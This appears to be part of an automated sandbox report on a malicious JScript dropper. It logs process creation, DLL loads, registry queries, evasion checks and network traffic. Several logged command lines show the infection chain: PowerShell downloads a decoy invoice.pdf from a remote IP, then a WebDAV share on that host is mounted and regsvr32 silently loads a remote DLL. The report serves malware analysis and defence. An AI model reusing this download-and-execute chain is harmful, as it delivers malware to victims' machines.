Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2326.js.csv");ITextStream.WriteLine(" entry:7520 f:xqbfryrm");ITextStream.WriteLine(" exec:2 f:xqbfryrm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49702

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4320			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5533			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep count: 4320 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5724	Thread sleep count: 5533 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7024	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2632	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7220	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7516	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000005.00000003.1278370281.0000023082871000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000F.00000002.2564521249.000001EC5C02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 0000000D.00000002.1337841719.000002EF94E08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1337841719.000002EF94E71000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2565942879.000001EC61658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
